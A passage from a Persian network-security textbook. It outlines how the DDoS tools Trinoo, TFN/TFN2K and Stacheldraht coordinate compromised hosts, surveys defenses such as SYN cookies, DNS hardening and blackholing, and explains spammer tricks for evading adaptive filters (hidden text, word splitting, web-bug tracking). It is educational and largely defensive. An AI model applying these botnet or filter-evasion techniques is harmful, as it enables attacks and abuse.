تقسـيم مـي    Stecheldrahtو  Trinoo ،TFN/TFN2Kبه سـه گـروه    DDoSعموماً حملات 

  شوند.

Trinoo  
Trinoo ز برنامه هاي در اصل اMaster/Slave         است كـه بـا يكـديگر بـراي يـك حملـه طغيـان

UDP      بر عليه كامپيوتر قرباني هماهنگ مي شوند. در يك روند عادي، مراحل زيـر بـراي برقـراري يـك

  واقع مي شوند: Trinoo DDoSشبكه 

ه مـي تواننـد   ك ـرا : حمله كننده، با استفاده از يك ميزبان هك شده، ليسـتي از سيسـتم هـايي    1مرحله

هك شوند، گردآوري مي كند. بيشتر اين پروسه بصورت خودكار از طريق ميزبان هك شـده انجـام مـي    

  گيرد. اين ميزبان اطلاعاتي شامل نحوه يافتن ساير ميزبان ها براي هك در خود نگهداري مي كند.

آنهـا بـه    محض اينكه اين ليست آمـاده شـد، اسـكريپت هـا بـراي هـك كـردن و تبـديل        ه : ب2مرحله

) اجراء مي شـوند. يـك اربـاب مـي توانـد چنـد شـيطان را        Daemons) يا شياطين (Mastersاربابان(

قرباني انجام مـي   اصلي را روي ماشين  UDPكنترل كند. شياطين ميزبانان هك شده اي هستند كه طغيان 

  دهند.

سال مي كنـد، انجـام   ار Masterهنگامي كه حمله كننده فرماني به ميزبانان  DDoS: حمله 3مرحله

مشـخص شـده در    IPرا عليه آدرس  DoSمي گيرد. اين اربابان به هر شيطاني دستور مي دهند كه حمله 

  شكل مي گيرد. DDoSيك حمله   DoSفرمان آغاز كنند و با انجام تعداد زيادي حمله 

   
TFN/TFN2K  

TFN )Tribal Flood Network يا شبكه طغيان قبيله اي، مانند (Trinoo در اصل يك حمله ،

Master/Slave  است كه در آن براي طغيانSYN      .عليه سيستم قرباني همـاهنگي صـورت مـي گيـرد
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و حمـلات   SYN، طغيـان  ICMPقادر به انجام حملات بسـيار متنـوع تـري شـامل طغيـان       TFNشياطين 

Smurf  هستند، بنابراينTFN  از حملهTrinoo .پيچيده تر است  

TFN2K  نسبت به ابزارTFN  اصلي چندين برتري و پيشرفت دارد. حملاتTFN2K    بـا اسـتفاده از

 TFN2Kاجرا مي شوند كه باعث كشف مشكل تر منبع حمله مـي شـود. حمـلات     IPجعل آدرس هاي 

نيستند. آنها همچنين شامل حملاتـي مـي شـوند كـه از شـكاف هـاي امنيتـي         TFNفقط طغيان ساده مانند 

نامعتبر و ناقص سوءاستفاده مي كنند تا به اين ترتيب باعـث از كـار افتـادن    سيستم عامل ها براي بسته هاي 

ديگر نيازي به اجراي فرمان ها با وارد شدن به ماشـين   TFN2Kسيستم هاي قرباني شوند. حمله كنندگان 

) ندارند و مـي تواننـد ايـن فرمـان هـا را از راه دور      TFNدر  Masterبه جاي () Clientهاي مخدوم (

محدود نمي شـود   ICMPها ديگر به پاسخ هاي اكوي Daemonها و Clientنند. ارتباط بين اجراء ك

خطرناك تر  TFN2Kصورت گيرد. بنابراين  UDPو  TCPهاي مختلفي مانند   و مي تواند روي واسط

  براي كشف كردن مشكل تر است. و همچنين 

   
Stacheldraht  

اجازه مـي دهـد    Stacheldrahtاست، اما  TFNو  Trinooبسيار شبيه به  Stacheldrahtكد 

ناميـده مـي شـوند) رمزنگـاري      Handlerها (كه در ايـن حملـه   Masterكه ارتباط بين حمله كننده و 

شود؛ عامل ها مي توانند كد خود را بصورت خودكار ارتقاء دهند، مي توانند اقـدام بـه انـواع مختلفـي از     

  كنند. SYNو طغيان هاي  UDP، طغيان هاي ICMPحملات مانند طغيان هاي 

   
 روش هاي مقابله

   
  آشنا مي شويم.  DDoSو  DoSبا چند روش مقابله با حملات  بخشدر اين  

   
  Fraggleيا  Smurfدفاع عليه حملات 
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قرار گرفته باشيد، كار چنداني از شما ساخته نيست. هرچند كه ايـن امكـان    Smurfاگر در معرض حمله 

جم را در روتر خارجي مسدود كنيد، اما پهناي باند منشـاء آن روتـر مسـدود    وجود دارد كه بسته هاي مها

حمـلات را در مبـداء حملـه مسـدود كنـد، بـه        ،خواهد شد. براي اينكه فراهم كننده شبكه بالاسـري شـما  

  هماهنگي نياز است. 

ام بسـته  بمنظور جلوگيري از آغاز حمله از سايت خودتان، روتر خارجي را طوري پيكربندي كنيد كه تم ـ

هاي خارج شونده را كه آدرس مبداء متناقض با زيرشبكه شما دارند، مسدود كند. اگـر بسـته جعـل شـده     

  نتواند خارج شود، نمي تواند آسيب چنداني برساند.

شخص ديگـر، روتـر خـود را     DoSبراي جلوگيري از قرار گرفتن بعنوان يك واسطه و شركت در حمله 

كه مقصدشان تمـام آدرس هـاي شـبكه شماسـت، مسـدود كنـد.       را ايي طوري پيكربندي كنيد كه بسته ه

منتشر شده به شبكه خود، اجازه عبور از روتر ندهيد. اين عمل بـه شـما اجـازه     ICMPيعني، به بسته هاي 

به تمام سيستم هاي موجـود در شـبكه خـود را حفـظ كنيـد، در حاليكـه        pingمي دهد كه توانايي انجام 

يك سيستم بيروني بگيريد. اگر واقعاً نگران هستيد، مـي توانيـد سيسـتم هـاي ميزبـان      اجازه اين عمل را از 

  كاملاً جلوگيري كنند.  ICMPخود را طوري پيكربندي كنيد كه از انتشارهاي 

  SYNدفاع عليه حملات طغيان 

  بلاك هاي كوچك
اشكال در حافظـه  زياد و نهايتاً فضاي بجاي تخصيص يك شيء از نوع ارتباط كامل (كه باعث اشغال 

) تخصيص دهيد. پيـاده سـازي هـاي جديـدتر بـراي      micro-recordمي شود)، يك ركورد كوچك (

SYN بايت تخصيص مي دهد. 16دي ، تنها وهاي ور  

  SYNكوكي هاي 
، هـر طـرف   SYNاسـت. در كـوكي هـاي    » SYNكـوكي هـاي   « SYNيك دفاع جديد عليه طغيـان  

، سيستم مورد SYN) خودش را دارد. در پاسخ به يك Sequence Numberشماره توالي ( ،ارتباط

است و سپس همه » كوكي«حمله واقع شده، يك شماره توالي مخصوص از ارتباط ايجاد مي كند كه يك 

چيز را فراموش مي كند يا بعبارتي از حافظه خارج مي كند (كوكي بعنوان مشـخص كننـده يكتـاي يـك     
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در مورد ارتباط اطلاعات لازم را در بردارد، بنـابراين بعـداً مـي    تبادل يا مذاكره استفاده مي شود). كوكي 

مجدداً اطلاعات فراموش شده در مورد ارتبـاط را   ،تواند هنگامي كه بسته ها از يك ارتباط سالم مي آيند

  ايجاد كند.

  RSTكوكي هاي 
پشـت  كـه    95 است، اما ممكن است با سيستم عامل هاي وينـدوز  SYNجايگزيني براي كوكي هاي 

 ACK/SYNفايروال قرار دارند، مشكل ايجاد كند. روش مذكور به ايـن ترتيـب اسـت كـه سـرور يـك       

توليد كند تا بـه سـرور بگويـد كـه چيـزي       RSTاشتباه به كلاينت ارسال مي كند. كلاينت بايد يك بسته 

كلاينـت را  اشتباه است. در اين هنگام، سرور مي فهمد كه كلاينـت معتبـر اسـت و ارتبـاط ورودي از آن     

  بطور طبيعي خواهد پذيرفت.

مي توانند دستكاري شوند.  SYNبمنظور كاستن از تأثير طغيان هاي   TCP) هاي stackپشته هاي (

فضاي تخصيص داده شـده   ،) قبل از اين است كه پشتهtimeoutمعمول ترين مثال كاستن زمان انقضاء (

  ز ارتباطات بصورت انتخابي است.به يك ارتباط را آزاد كند. تكنيك ديگر قطع بعضي ا

   
  DNSدفاع عليه حملات 

  )root serverدفاع از سرور اصلي (
پايگاه داده سرور اصلي كوچك است و بندرت تغيير مي كند. يك كپي كامـل از پايگـاه داده اصـلي    

از تهيه كنيد، روزي يك بار آپديت ها را چك كنيد و گاه و بيگاه بارگـذاري هـاي مجـدد انجـام دهيـد.      

استفاده كنيد (اين عمل باعث مي شود كه سيستم ها  anycastسرورهاي اصلي با استفاده از آدرس هاي 

  در شبكه هاي با موقعيت هاي مختلف بعنوان يك سرور بنظر برسند.)

  دفاع از سازمان تان
لي و براي كاربران داخ DNSهاي جداگانه اي از   اگر سازمان شما يك اينترانت دارد، بايد دسترسي

داخلي را از حملات خارجي در امان نگـاه مـي دارد.    DNSمشتريان خارجي خود فراهم كنيد. اين عمل 

آتي روي قسمت هاي اصلي محفوظ نگه  DDoSناحيه اصلي را كپي كنيد تا سازمان خود را از حملات 
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قـرار   از شركاي تجـاري خـود كـه در خـارج از شـبكه شـما       DNSداريد. همچنين به كپي كردن نواحي 

به روي اينترنـت مـي رونـد، مـي تواننـد در هنگـام        DNSدارند، توجه كنيد. هنگامي كه بروز رسان هاي 

يـا امضـاهاي     )transaction signatureها (TSIGانتقال مورد ربايش و دستكاري قرار گيرند. از 

زي) يـا سـاير   (شبكه هاي خصوصي مجـا  VPNمعاملاتي براي امضاي آن ها يا ارسال بروز رسان ها روي 

  كانال ها استفاده كنيد.

   
  DDoSمقابله با حملات 

چگونه مي توانيد از سرورهاي خود در مقابل يورش ديتاهـاي ارسـالي از طـرف كامپيوترهـاي آلـوده      

موجود در اينترنت مراقبت كنيد تا شبكه شركت شما مختل نشود؟ در اينجا بـه چنـد روش بطـور مختصـر     

  اشاره مي شود:

   

   
  سياه چاله

اين روش تمام ترافيك را مسدود مي كند و به سمت سياه چاله! يعني جايي كه بسته ها دور ريخته مي 

ريخته مـي شـود و    دور -چه خوب و چه بد –شود هدايت مي كند. اشكال در اين است كه تمام ترافيك 

قابـل اسـتفاده خواهـد بـود. در روش هـاي        off-lineدر حقيقت شبكه مورد نظر بصورت يك سيسـتم  

  اينچنين حتي اجازه دسترسي به كاربران قانوني نيز داده نمي شود. 

  مسيرياب ها و فايروال ها
پروتكـل هـاي    بـا فيلتركـردن   pingروتر ها مي توانند طوري پيكربندي شوند كـه از حمـلات سـاده    

نـامعتبر را نيـز متوقـف كننـد. بهرحـال، روترهـا        IPغيرضروري جلوگيري كنند و مي توانند آدرس هاي 



 

 

١٤٨

١٤٨

با استفاده از آدرس هاي  Applicationمعمولاً در مقابل حمله جعل شده پيچيده تر و حملات در سطح 

IP .معتبر، بي تأثير هستند  

  سيستم هاي كشف نفوذ
) توانـايي هـايي ايجـاد    intrusion detection systemsنفوذ ( روش هاي سيستم هاي كشف

ها مـي  سيسـتم  مي كند كه باعث تشخيص استفاده از پروتكل هاي معتبر بعنوان ابزار حمله مـي شـود. ايـن   

توانند بهمراه فايروال ها بكار روند تا بتوانند بصورت خودكار در مواقع لزوم ترافيك را مسدود كننـد. در  

ستم تشخيص نفوذ نياز به تنظيم توسط افراد خبره امنيتـي دارد و البتـه گـاهي در تشـخيص     بعضي مواقع سي

  نفوذ دچار اشتباه مي شود. 

   

   
  سرورها

 DDoS حـداقل رسـاندن تـأثير حملـه     هاي سرويس دهنده در بـه  applicationپيكربندي مناسب 

از  applicationتأثير بسيار مهمي دارند. يك سرپرست شبكه مي تواند بوضوح مشخص كند كه يـك  

چه منابعي مي تواند استفاده كند و چگونه به تقاضاهاي كلاينت هـا پاسـخ دهـد. سـرورهاي بهينـه سـازي       

انس ادامه ارائه سرويس را در هنگامي كه مورد شده، در تركيب با ابزار تخفيف دهنده، مي توانند هنوز ش

  قرار مي گيرند، داشته باشند. DDoSحمله 

  DDoSابزار تخفيف 
ي توليد مي كنند كه بـراي ضـدعفوني ! كـردن ترافيـك يـا تخفيـف حمـلات        هايچندين شركت ابزار

DDoS روالينگ اسـتفاده مـي   استفاده مي شوند كه اين ابزار قبلاً بيشتر براي متعادل كردن بار شبكه يا فاي

شد. اين ابزارها سطوح مختلفي از ميزان تأثير دارند. هيچكدام كامل نيستند. بعضي ترافيـك قـانوني را نيـز    
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متوقف مي كنند و بعضي ترافيك غيرقانوني نيز اجازه ورود به سرور پيدا مي كنند. زيرساخت سرور هنوز 

  درست بهتر عمل كند.بايد مقاوم تر شود تا در تشخيص ترافيك درست از نا

  پهناي باند زياد
خريد يا تهيه پهناي باند زياد يا شبكه هاي افزونه براي سروكار داشتن با مواقعي كه ترافيك شدت مي 

  مؤثر باشد. DDoSيابد، مي تواند براي مقابله با 

بوقوع خواهد پيوست. طبيعت يـك حملـه    DDoSعموماً، شركت ها از قبل نمي دانند كه يك حمله 

گاهي در ميان كار تغيير مي كند و به اين نياز دارد كه شركت بسرعت و بطور پيوسته در طي چند سـاعت  

يا روز، واكنش نشان دهد. از آنجا كه تأثير اوليه بيشتر حملات، مصرف كردن پهناي باند شبكه شماسـت،  

ه باشد، هم پهناي باند يك ارائه كننده سرويس هاي ميزبان روي اينترنت كه بدرستي مديريت و تجهيز شد

  مناسب و هم ابزار لازم را در اختيار دارد تا بتواند تأثيرات يك حمله را تخفيف دهد.

  

 اسپم چيست؟ -13

كنيـد، بـدون شـك تـاكنون تعـداد زيـادي از        اگر براي مدت طـولاني اسـت كـه از اينترنـت اسـتفاده مـي      

كنند. بقيـه قـول    كه شما را بسرعت ثروتمند مي كنند ايد. بعضي ادعا مي هاي ناخواسته دريافت كرده ايميل

كنند و از شـما   دهند. بعضي فضايي از صندوق پيستي شما را اشغال مي محصولات يا خدمات جديد را مي

سايت مشخصـي را ببينيـد. در جامعـه اينترنتـي ايميلهـاي       خواهند كه ايميل را به بقيه ارسال كنيد يا وب مي

كنندگان اينترنت  شوند. اسپم اثري بيش از مزاحمت براي استفاده ناميده مي ”اسپم“بعضاً تجاري ناخواسته، 

دهد. و اين به اين دليـل   دهندگان ايميل را تحت تاثير قرار مي دارد و بطور جدي بازدهي شبكه و سرويس

ا ايميـل  ه كنند و صدهاهزار يا حتي ميليون است كه فرستندگان اسپم از هزينه بسيار پايين ايميل استفاده مي

هـاي پسـتي را پـر     گيـرد، صـندوق   هاي اسپم پهناي باند زيادي را مي كنند. حمله را در يك زمان ارسال مي

ها را از عناوين عجيب، غيرمنطقي و  توان اسپم كند. گاهي مي كند و زمان خوانندگان ايميل را تلف مي مي

  مضحكشان تشخيص داد.
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اند، بـه تفكيـك مـاه در     ي اخير بعنوان اسپم تشخيص داده شدهها هايي را كه در ماه آمار زير درصد ايميل

  اند. نمودار و جدول زير مشخص شده

  

ها، درصدهايي كه از كل ايميل  

اند بعنوان اسپم شناخته شده   

 (در مدت يك سال)

March 2004 63% 

February 2004 62% 

January 2004 60% 

December 2003 58% 

November 2003 56% 

October 2003 52% 

September 2003 54% 

August 2003 50% 

July 2003 50% 

June 2003 49% 

May 2003 48% 

April 2003 46% 

  ها بندي اسپم دسته 13-1 

هـا را   ها بيشتر حاوي چه موضوعاتي هستند و هر موضوع چند درصـد از كـل اسـپم    د اسپمبراي اينكه بداني

  توانيد به جدول زير نگاهي بيندازيد: شود، مي شامل مي

  ها براي شما خواهيم نوشت.) (در قسمت بعد، در مورد روشهاي مقابله با اسپم
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 دسته درصد توضيح

: ابـزار، خـدمات   ماننـد كننـده كالاهـا و خـدمات عمـومي     ارائه كننده يا تبليـغ 

 تحقيقي، پوشاك و لوازم آرايشي
 محصولات 25%

كننده يا ارجـاع دهنـده مربـوط بـه پـول، بـازار بـورس و سـاير فرصـتهاي           ارائه

 ها هاي ثابت و وام ري، گزارشهاي اعتباري، داراييگذا : سرمايهمانندمالي
 مالي 20%

سال اسـت   18هايي كه مربوط به افراد بالاي  كننده محصولات يا سرويس ارائه

: تبليغـات مربـوط بـه مسـائل     ماننـد آميـر هسـتند   كه معمولا نامناسب و اهانـت 

 جنسي

 بزرگسالان 15%

 مربوط به اينترنت و كامپيوتركننده كالاها و خدمات  كننده يا تبليغ ارائه

 : ميزباني و طراحي وب.مانند

 اينترنت 7%

: ماننـد مـت  سـلا   كننده محصولات و خدمات مربـوط بـه   كننده يا تبليغ ارائه

 معالجات پزشكي، دارويي و درمانهاي گياهي
 تندرستي 7%

ــه فعاليتهــاي كلاهبــرداي و فريبنــده كــه تعمــدا جنبــه گمــراه   كننــده  موبــوط ب

 اي هاي زنجيره گذاري در نيجريه، طرحهاي هرمي و نامه : سرمايهماننددارند
 فريبنده 7%

: ماننـد كننده جوايز يا انجام فعاليتهـاي تفريحـي بـا تخفيـف     كننده يا تبليغ ارائه

 پيشنهادهاي گذارندن تعطيلات، كازينوهاي آنلاين و بازيها
 اوقات فراغت 6%

معروف كه براي گول زدن كاربران  بظاهر ولي نه واقعاً از طرف شركتهاي

بمنظور افشاشدن اطلاعات شخصي آنها مانند آدرس ايميل، اطلاعات مالي و 

: اطلاعات شماره حساب، تاييد كارت اعتباري مانندكلمات عبورشان است.

 و بروزرساني صدور صورتحساب

 كلاهبرداري 5%

ي اهـداي پـول بـه    بـرا   پيامهاي تبليغ كننده يك كانديداي سياسي، پيشـنهادها 

يك حزب سياسي، پيشنهادها براي محصولات مربوط به مبارزات انتخابـاتي و  

 انتخابات : حزب سياسي و مانندغيره.

 سياسي 2%

: ماننـد  پيامها با اطلاعات متعلـق بـه تبليغـات يـا خـدمات مـذهبي يـا معنـوي        

 شناسي، بعضي مذاهب فيزيك، ستاره
 معنوي 1%

 ساير %5 از گروههاي فوق تعلق ندارند.يك  پيامهايي كه به هيچ
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 نبرد فيلترها و توليدكنندگان اسپم  13-2

)  (هرزنامـه   كنـد تـا از عبـور اسـپم     افزاري است كه به سرويس دهنـده ايميـل كمـك مـي     فيلتر اسپم، نرم

ع و مـتن  جلوگيري كند. اين فيلتر اين عمل را معمولاً با شناسايي فرستنده ايميل يا كلمـاتي كـه در موضـو   

هاسـت   به مواردي كه موضوع اصلي بيشـتر اسـپم   ”اسپم چيست“ بخشدهد. در  ايميل بكار رفته انجام مي

پسـتي   هـا و جلـوگيري از ورود آنهـا بـه صـندوق      اين فيلترها سعي در تشخيص اين نـوع ايميـل   .اشاره شد

اگر مدتهاست كه از سرويسهاي ايميل معروف مانند  كنند.  گذاري آنها بعنوان اسپم مي نشانه كاربرانشان يا

Yahoo  ياHotmail حتماً با هر بار سر زدن به صندوق پستي خود با انبوهي از ايميلها   كنيد، استفاده مي

ايـن فولـدرها بـدليل    كنيد. قرار گرفتن اين ايميلها در  برخورد مي Junk mailيا  Bulk mailبا عنوان 

دهـد. البتـه گـاهي نيـز ايـن ايميلهـا از        دهنده ايميل آنها را بعنـوان اسـپم تشـخيص مـي     اينست كه سرويس

Inbox اند از فيلتر اسپم عبـور   شما سر در مياورند كه نشاندهنده اين است كه عيلرغم اسپم بودن، توانسته

شوند كه باز  به فولدر مربوط به اسپم هدايت ميشود كه بعضي ايميلهاي اصلي  كنند. حتي گاهي شنيده مي

  دهد. هم نشان از تشخيص اشتباه فيلتر است. البته نيازي به نگراني نيست. اين اتفاق بندرت رخ مي

ها را اصلاح كند و بـا آشـنا    فيلتر تطبيقي، نوعي از فيلتر است كه قادر است اشتباهاتش در تشخيص اسپم

    تر عمل كند. ها بهتر و دقيق ها بكار ميرود در تشخيص اسپم يي كه در اسپمها شدن بيشتر با كلمات يا حقه

هايشـان از   تري براي عبور دادن نامه فرستندگان اسپم هر روزه در حال استفاده از ابزار و روشهاي پيچيده

تكنيكهـاي   ضرر تـا  فيلترهاي اسپم تطبيقي هستند. آنها از روشهايي مانند پنهان كردن پيغامها در متنهاي بي

از غيراسـپم اخـتلال ايجـاد      هاي فيلترها در تشخيص اسـپم  كنند تا در توانايي تري كه تلاش مي هوشمندانه

ها و نحوه مقابله با آنها از طرف  روش بعدي با چندتا از اين  بخشو  بخشكنند. در اين  كنند، استفاده مي

  شويم. فيلترها آشنا مي

كنندگان اسپم شروع كردند به پركردن پيغامهايشان با حجم زيادي از  با گسترش فيلترهاي تطبيقي، توليد

! براي گول زدن و عبور كردن از فيلترهاي اسپم. فيلترهاي تطبيقي در بعضي مواقـع، از   هاي غيراسپمي متن
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بـودن يـا نبـودن      گيري در مـورد اسـپم   كنند، يعني مبناي تصميم احتمالات براي تشخيص اسپم استفاده مي

كننـدگان اسـپم گـاهي     رود. توليد ها بيشتر بكار مي غام ميزان وقوع بعضي كلماتي است كه در اسپميك پي

  شوند.  شدن آنها مي باعث برهم زدن اين احتمالات در فيلترها و بعبارتي باعث مسموم

د تـا  كردن متون جانبي باعث عبور پيغامشان از يك فيلتر شـون  توليدكنندگان اسپم اميدوارند كه با اضافه

توسط كاربر خوانده شوند. در اين مواقع ممكن است كه كاربر به فيلتـر اعـلام كنـد كـه پيغـام عبـور داده       

ضـرر را نشـانه اسـپم بدانـد. ايـن باعـث        شده، اسپم بوده است و فيلتر از اين به بعد اين كلمات جانبي و بي

م تشخيص دهـد، و بـه ايـن ترتيـب باعـث      شود كه فيلتر گاهي پيغامهاي مفيد را نيز به اشتباه بعنوان اسپ مي

  عملكرد بد فيلتر و از كار افتادن آن شوند.

كـردن آنهـا بسـيار مشـكل      اي است كه گـول زدن و مسـموم   خوشبختانه، طبيعت فيلترهاي تطبيقي بگونه

كه ضرر (پيامي  است. تنها اميد يك توليدكننده اسپم اين است كه بتواند با تبديل پيغام خود به يك پيام بي

درصد كلمات نشاندهنده اسپم نسبت به كل كلمات موجود در آن بسيار ناچيز و قابل اغماض باشد) باعث 

  عبور آن از فيلتر شود كه به اين ترتيب از تاثير تبليغاتي متن موجود در آن بسيار كاسته خواهد شد.

  دادن يك فيلتر تطبيقي فريب 13-2-1
كنـد   دهد كه به كلمات موجود در متن نگاه مي يام را تشخيص مييك فيلتر به اين ترتيب اسپم بودن يا پ

و به هر كدام از آنها با توجه به اينكه اين كلمه به چه ميزان بـه يـك اسـپم متعلـق اسـت وزنـي اختصـاص        

دهد. با تركيب اين احتمالات براي همه كلمات پيام، فيلتر به احتمال اسپم بودن يا نبودن پيـام ميرسـد و    مي

گيـري هوشـمندانه    كند. اين عمـل تركيـب بـه فيلترهـاي تطبيقـي در تصـميم       گيري مي آن تصميم بر مبناي

  بخشد. فيلتر تطبيقي براي هر كاربر كلمات مخصوص به آن كاربر را دارد. قدرت زيادي مي

در ادامه براي روشن شدن بيشتر مطلب با سه شخصيت سروكار داريم. دو كاربر به نامهاي آليس و بـاب  

دهـد،   وليد كننده اسپم به نام اوا. فيلتر اسپم آليس كلمات مجاني، رهن و وام را اسپم تشخيص ميو يك ت

اما از آنجا به بافتني علاقه دارد كلمات پشم، سوزن و زردوزي براي او كلمـات مفيـدي هسـتند. از طـرف     

منـد   كه به اتومبيل علاقه رهن و وام نشاندهنده اسپم هستند. اما از آنجا  ديگر براي باب هم كلمات مجاني،

  است كلماتي مانند موتور، فرمان و سرعت براي او نشاندهنده يك پيام جالب هستند.
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حال اگر اوا پيامي به آليس و باب بفرستد كه در آن كلمات رهن و وام بكار رفته باشد، توسط فيلتر هـر  

ال و حـروف اضـافه، كلمـات    شود. توجه كنيد كه بعضي كلمـات، افع ـ  دو بسرعت اسپم تشخيص داده مي

اسـپم   (subject)كنندگان اسپم بـراي اينكـه پيـام آنهـا توسـط موضـوع        شوند. توليد خنثي محسوب مي

كنند. مثلا كلمـه   هاي اضافي در ميان حروف و كلمات استفاده مي تشخيص داده نشود، از حروف يا فاصله

“mortgage”  بمعناي رهن به صورت“m o r t g a g e”  يا“m-o-r-t-g-a-g-e”  يا اشكال

  ديگر ممكن است در عنوان ايميل آورده شود تا توسط فيلتر تشخيص داده نشود.

  ضرر متن بي
ضرر اغوا كند. به اين منظور علاوه بر مـتن خـود،    كند كه فيلترها با استفاده از متن بي اين بار اوا سعي مي

كند و به آلـيس و بـاب    خبري ياهو به آن اضافه ميالمعارف يا سايت  متني از جاي ديگر مثلاً از يك دايرة

شود. فيلترهاي تطبيقي يك پيام را به سه بخش اسـپم،   فرستد. اما باز هم اين متن اسپم تشخيص داده مي مي

كنند. فيلتر با وزن دادن به آنها، وزن زيادي در مورد اسـپم و وزن كمـي در مـورد     مفيد و خنثي تقسيم مي

بنابراين قـراردادن مـتن خنثـي بـا شكسـت        كند. د و مقدار زيادي متن خنثي پيدا ميده مفيد بودن پيام مي

شود. توليدكننده اسپم اطلاعي از علاقه آليس به بـافتني نـدارد تـا وزن مفيـد پيـام خـود را زيـاد         مواجه مي

  كند!!!

  خاصيت حجم زياد پيام بي
ل كند. اما همچنان اميدوار است كـه بتوانـد   خاصيت بيشتري ارسا كند كه بايد متن بي اوا اين بار فكر مي

  فيلتر آليس و باب را گمراه كند.

  اوا توانست حجم ايميل خود را افزايش دهد اما اينبار دو مساله برايش وجود دارد:

  شود. يابد، نرخ ارسال اسپم كم مي همچنانكه اندازه پيام افزايش مي  ·

  شود. اصلي مي  نسبت به محتواي كننده حجم زياد پيام باعث سردرگمي دريافت  ·

تواند به پنهان كردن متن از خواننـده متوسـل شـود. ايـن كـار توسـط حقـه         براي حل مشكل دوم، اوا مي

شـوند.   گيرد. در اين عمل، رنگ نوشته و زمينه يكسان انتخاب مي صورت مي  ”استتار“و  ”جوهر نامرئي“
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تن فيلتر ارسال كند، بدون اينكـه مـتن توسـط كـاربر ديـده      تواند حجم زيادي از متن را بمنظور فريف اوا مي

  شود.

احتمال جواب دادن اين تاكتيك كـم اسـت زيـرا اسـتفاده از چنـين روشـي براحتـي توسـط فيلتـر اسـپم           

شود. در حالت استفاده از جـوهر نـامرئي،    ديگري از اسپم استفاده مي  شود و بعنوان نشانه تشخيص داده مي

خاصيت نامرئي به اندازه كافي باهوش اسـت و حتـي ديگـر احتيـاجي بـه       ص متن بيفيلتر اسپم براي تشخي

  توجه به متن نيز وجود ندارد.

  يك شكاف شانسي
در حقيقت تنها شانس اوا اكنون اين است كه بطريقي از كلمات مورد علاقه آليس مطلع شود و از آنهـا  

كند كه علاوه بر دارا بـودن كلمـات    را ارسال ميآورد و ايميلي  در ايميل خود استفاده كند. اوا شانس مي

كند. فيلتر تطبيقي بـا وزن   اسپمي! در آن از كلمات مورد علاقه آليس كه مربوط به بافتني است استفاده مي

گيري كند. براي اينكه فيلتر پيام مفيد را از بين نبرد، به اسپم اجـازه ورود   تواند تصميم دادن به كلمات نمي

دهد. البته موفقيت اوا موقتي اسـت. او نميدانـد كـه پيـامش عبـور كـرد و در        آليس را مي به صندوق پستي

ضمن فقط توانست پيامش را از يك فيلتر عبور دهد. فيلتر باب پيام را مسـدود كـرد زيـرا بـاب بـه بـافتني       

  علاقه ندارد و كلمات مفيد براي آليس، براي باب معني خاصي ندارد. 

يلتر اسپم تطبيقي را فريب دهد احتياج به گول زدن هر فيلتر بصورت مجـزا دارد. او  براي اينكه اوا يك ف

مجبور به فهميدن كلمات مفيدي است كه براي هر كاربر مختص خـود اوسـت. ايـن بـارِ زيـادي را بـه اوا       

  كند اگر ميخواهد يك فيلتر اسپم تطبيقي را گول بزند. تحميل مي

براي اسپم بودن يا مفيد بودن   ثال واقعي، فيلتر آليس همه سرپيامها رااما اين همه ماجرا نيست. در يك م

سنجيده است. از آنجا كه بيشتر ايميلها در مورد بافتني از دوسـتان مشخصـي از آلـيس و چنـدتايي ليسـت      

ا هاي خوبي براي مفيد بودن يا اسپم بودن پيامه رسد، اطلاعات در سرپيامها نيز نشاندهنده ايميل براي او مي

شده است. بنابراين شايد  هستند. سرپيام رسيده از طرف اوا نشاندهنده خوبي براي اسپم بودن ايميل دريافت

   فيلتر آليس به پيام اوا اجازه عبور نداده باشد!!!
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باشيد تا جـدال بـين اوا و فيلترهـاي آلـيس و بـاب را ادامـه        ”)2نبرد فيلترها و توليدكنندگان اسپم (“منتظر 

  دهيم.

  ازخورد توسط حشرات وبي!ب

  
دانست كه كدام پيامهايش بـه آلـيس    يك مكانيسم بازخورد چيزي است كه اوا به آن نياز دارد. اگر او مي

ك فيلتر تطبيقي و با پيامهاي رسيده و نرسـيده بـه آلـيس،    توانست با استفاده از ي رسيد و كدامها نرسيد، مي

  اين فيلتر را آموزش دهد. 

اوا اين كار را با بمباران كردن صندوق پستي آليس با پيامهايي كه حـاوي متنهـاي تصـادفي هسـتند انجـام      

به اسـپم  دهد. پيامهاي رسيده به آليس احتمالا داراي كلمات مفيد و پيامهاي نرسـيده داراي كلمـات ش ـ   مي

  هستند. بعد از مدتي او اطلاعات كافي براي تشخيص ارسال پيامهاي به آليس خواهد داشت.

توانـد از ديـده شـدن پيامهـايش توسـط آلـيس مطلـع شـود          متاسفانه مكانيسمي وجود دارد كـه اوا مـي  

حشره وبي. حشـره وبـي يـك تصـوير كوچـك (مـثلا يـك         -طوريكه آليس از اين موضوع باخبر نشود. 

شود به توليدكننده اسپم خبر  وقتي كه پيام خوانده مي  شود و است كه در يك ايميل گنجانده مي سلي)پيك

دهد. با فعال شدن حشره وبي، اوا راهي براي اطلاع يافتن از خوانده شـدن ايميـل خـود توسـط آلـيس       مي

  خواهد داشت.

فرستد كه شامل محتواي  س ميبه آلي HTMLبراي ارسال يك پيام حشره دار، اوا يك ايميل به قالب 

باشد كه تحت كنترل اوا اسـت. در اسـم ايـن     اسپم و لينكي به يك تصوير يك پيكسلي بر روي سايتي مي

كننده آن پيام است، وجود دارد. با آگـاهي يـافتن از ايـن دو     تصوير نام آليس و يك كد يكتا كه مشخص

  خص كند. تواند پيام خوانده شده توسط آليس را مش مورد، اوا مي
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شود اما با در نظر گرفتن نبوغ  خوشبختانه اين تكنيك هنوز براي حمله به فيلترهاي تطبيقي استفاده نمي

رسـد. مقابلـه بـا حشـرات وبـي آسـان اسـت، و در قسـمت          توليدكنندگان اسپم، چندان هم بعيد بنظر نمـي 

  آمده است. بخشروشهاي دفاع در پايان اين 

  بدون كلمه
داند كه كلماتي مانند  تواند بيازمايد ارسال ايميل بدون كلمه است. چون او مي ا ميتكنيك ديگر كه او

را كه شامل يك لينـك بـه يـك     HTMLتواند در عوض يك كد  شود، مي رهن باعث حذف پيامش مي

شـود و پيـام    شـود، تصـوير دانلـود مـي     سايت است، ارسال كند. هنگامي كه ايميل باز مي تصوير روي وب

  شود. داده مي اصلي نمايش

تواند اسپم بودن اين پيام را تشخيص دهد. زيرا اين فيلتر فقـط بـه    در اينجا، يك فيلتر تطبيقي خوب مي

كنـد. همچنـين    ها را كه در پيام قرار دارند را بررسـي مـي  URLكلمات مانند  كند و شبه كلمات توجه نمي

است كه باعث بارگـذاري يـك    <img>تواند اين حقيقت را در نظر بگيرد كه پيام شامل يك تگ  مي

